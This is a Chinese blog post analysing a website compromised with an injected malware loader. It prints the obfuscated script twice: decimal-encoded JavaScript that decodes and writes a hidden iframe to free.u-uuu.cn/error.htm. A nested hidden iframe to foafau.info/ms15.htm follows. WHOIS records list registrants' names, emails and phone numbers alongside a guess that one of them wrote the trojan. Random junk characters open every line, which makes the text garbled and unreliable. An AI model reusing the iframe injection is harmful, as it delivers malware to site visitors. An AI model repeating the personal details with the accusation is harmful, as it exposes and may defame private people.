首发在我的博客里面，
:.nRN`e ;l!`C' :' http://www.areway.cn/?p=175 r9@AT( E*CcV; ] U_ec*a 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
^T079=$5 8 ws$k\> <script>t=’60,105,102,114,97,109,101,
id,NONb\ 32,115,114,99,61,104,116,116,112,58,47,47,
oF|N O^H 102,114,101,101,46,117,45,117,117,117,46,99,
/ q1s;I 110,47,101,114,114,111,114,46,104,116,109,
658^"]Rk'/ 32,119,105,100,116,104,61,49,48,48,32,104,
R7_VXvm>z 101,105,103,104,116,61,48,62,60,47,105,102,
ht6244: 114,97,109,101,62′;
.< &s %{EW t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
ai-n z-; -5Utl os <script>t=’60,105,102,114,97,109,101,32,115,
|b .z*G 114,99,61,104,116,116,112,58,47,47,102,114,
PCE4W^ns 101,101,46,117,45,117,117,117,46,99,110,47,
OAe#Wf!c 101,114,114,111,114,46,104,116,109,32,119,
LU2waq}VA 105,100,116,104,61,49,48,48,32,104,101,105,
p3]Q^KFS 103,104,116,61,48,62,60,47,105,102,114,97,
l-O$ m 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
l] !B#{ document.write(t);</script>
pv# 2]v 0A[e sWmP <html xmlns=”
bB 6[Xj{ http://www.w3.org/1999/xhtml >k(MU mhX “>
WUoOGbA ` <head>
&M[f&_"8Q <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
WES#ZYtT <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
= r4!V> <title>首页 - 爱生活家庭网
8q^o.+9 g>j| ]6 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
SF<Vds}A2 转换字符串后的大概内容是（谁点击后果自付）：
}31Z X <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Mr3-q zG9|K 查询玉米u-uuu.cn的详细信息：
h*l&RR:i Domain Name: u-uuu.cn
[r-}bp'Gp ROID: 20070901s10001s64972306-cn
?6N3tk-2 Domain Status: ok
$yb@
Hhx> Registrant Organization: 王雷
!xK=#pa Registrant Name: 王雷
/@Y CA}|/ Administrative Email:
czlovexs@126.com J"CJYuGW, Sponsoring Registrar: 北京万网志成科技有限公司
<" tDAx Name Server:ns.yovole.com
WlVl[/qt Name Server:ns1.yovole.com
pGGmA;TC1 Registration Date: 2007-09-01 17:54
?S[Y:<R{: Expiration Date: 2008-09-01 17:54
QU5Sy oL[ 最后PING了一下地址 都没有什么….
>fs 2kha iEHh{ H( 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
f ~h~5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Y`ihi,s`H <script language=”javascript” src=”
"v]%3i.*
- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script D$r
Uid >
l54
m22pfv 这个玉米应该有可能是木马作者的：
vNDu9ovs- foafau.info的详细信息：
3Qn!y\# Access to INFO WHOIS information is provided to assist persons in
mY-hN| determining the contents of a domain name registration record in the
Le#spvV3J| Afilias registry database. The data in this record is provided by
1|| nR4yK Afilias Limited for informational purposes only, and Afilias does not
v F={9G guarantee its accuracy. This service is intended only for query-based
"8<K'zeS8 access. You agree that you will use this data only for lawful purposes
m#5_%3T and that, under no circumstances will you use this data to: (a) allow,
B#l?IB~ enable, or otherwise support the transmission by e-mail, telephone, or
= !2NU facsimile of mass unsolicited, commercial advertising or solicitations
QwW W! 8 to entities other than the data recipient’s own existing customers; or
&0
\
ci9o (b) enable high volume, automated, electronic processes that send
~)X[(T{ queries or data to the systems of Registry Operator, a Registrar, or
%w}gzxN^ Afilias except as reasonably necessary to register domain names or
m,MSMw1p modify existing registrations. All rights reserved. Afilias reserves
dQ:cYNm the right to modify these terms at any time. By submitting this query,
h #.N3o you agree to abide by this policy.
[c& B|h => Domain ID:D22418703-LRMS
v}(6 <wnnS Domain Name:FOAFAU.INFO
oh-|'5+,;h Created On:20-Nov-2007 16:05:42 UTC
cDkV;$ Last Updated On:20-Nov-2007 16:05:44 UTC
N$I03m Expiration Date:20-Nov-2008 16:05:42 UTC
6d|q+]x_n Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
5LW}h^N Status:CLIENT DELETE PROHIBITED
! fl4" Status:CLIENT RENEW PROHIBITED
dF @)M Status:CLIENT TRANSFER PROHIBITED
+}kgQ^ Status:CLIENT UPDATE PROHIBITED
k2^ a$k} Status:TRANSFER PROHIBITED
j;nb?; Registrant ID:GODA-040110615
`dkV_ O0 Registrant Name:liu hong
[xlIG}e9 Registrant Organization:
1y"3 Registrant Street1:beijing
^Z,q$Gp~P Registrant Street2:
@ 4GA^h Registrant Street3:
][@F Registrant City:beijing
5er@)p_ Registrant State/Province:
bud &R 4+ Registrant Postal Code:100000
x?,9_va] Registrant Country:CN
@w9 {5D4 Registrant Phone:+86.860108888777
FQsUm?ac: Registrant Phone Ext.:
v zo4g,Bj Registrant FAX:
&Z^(y}jPr Registrant FAX Ext.:
9^ed-h
Bf Registrant Email:bbbshiji@163.com
#%,RJMv Admin ID:GODA-240110615
G=/k >@Di Admin Name:liu hong
gwB\<rzG Admin Organization:
msx-O=4g Admin Street1:beijing
+Ic ~ f1zh Admin Street2:
k5BXirB Admin Street3:
3'I^lc Admin City:beijing
!u|Tu4G^ Admin State/Province:
MmoR~~* Admin Postal Code:100000
PS>x,T Admin Country:CN
[ AzO:A Admin Phone:+86.860108888777
> 0> Admin Phone Ext.:
Qd`T5[b\ Admin FAX:
d j5 hv~ Admin FAX Ext.:
d5m`Bm-{ Admin Email:bbbshiji@163.com
%j,iAUE< Billing ID:GODA-340110615
^rAa"p 9 Billing Name:liu hong
+OaUP*\Dd Billing Organization:
K?.e | Billing Street1:beijing
U>qHn 'M Billing Street2:
ODw`E9 Billing Street3:
h1 D?=M\9 Billing City:beijing
2)0b2QbQ Billing State/Province:
|`rJJ FA Billing Postal Code:100000
j]4,<ppWSH Billing Country:CN
:' #\ Billing Phone:+86.860108888777
k[|~ NLB8 Billing Phone Ext.:
~Qj}ijWD Billing FAX:
HTjkR *E Billing FAX Ext.:
B|Wk?w.{r\ Billing Email:bbbshiji@163.com
: 3ZYJW1 Tech ID:GODA-140110615
b 'p4wE> Tech Name:liu hong
DT(d@upH Tech Organization:
" {de k Tech Street1:beijing
#CUz uk& Tech Street2:
QV|>4 ^1D Tech Street3:
1+kE!2b;b Tech City:beijing
mqtg[~dNc Tech State/Province:
Y$
Fj2nk+ Tech Postal Code:100000
.8gl< vX Tech Country:CN
f i~I@KJ> Tech Phone:+86.860108888777
]wn/BG) Tech Phone Ext.:
N;sm*+r Tech FAX:
cD}Sf> Tech FAX Ext.:
eCbf 9B Tech Email:bbbshiji@163.com
p^)B0[P9 Name Server:NS27.DOMAINCONTROL.COM
Z9`TwS@x[ Name Server:NS28.DOMAINCONTROL.COM
~W0(1#
i Name Server:
~eh0[mF^] Name Server:
0DPxW8Y -` Name Server:
&p(0K 4: Name Server:
wVl+]zB Name Server:
GC@+V|u Name Server:
i?@ M Name Server:
U7$WiPTNL9 Name Server:
r4}*l 7Q Name Server:
a|j% n Name Server:
0S/'
94%w Name Server:
fRZ KEIyk ^ -)txC5{T 接着下载每个文件里面的代码：
GRqT-/n" 一步一步看..
nA7 M8HB 
C| -pD 
N#xG3zZl|N 
^_+XDO 
B}?IEpYp 
;\;M =&{} 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
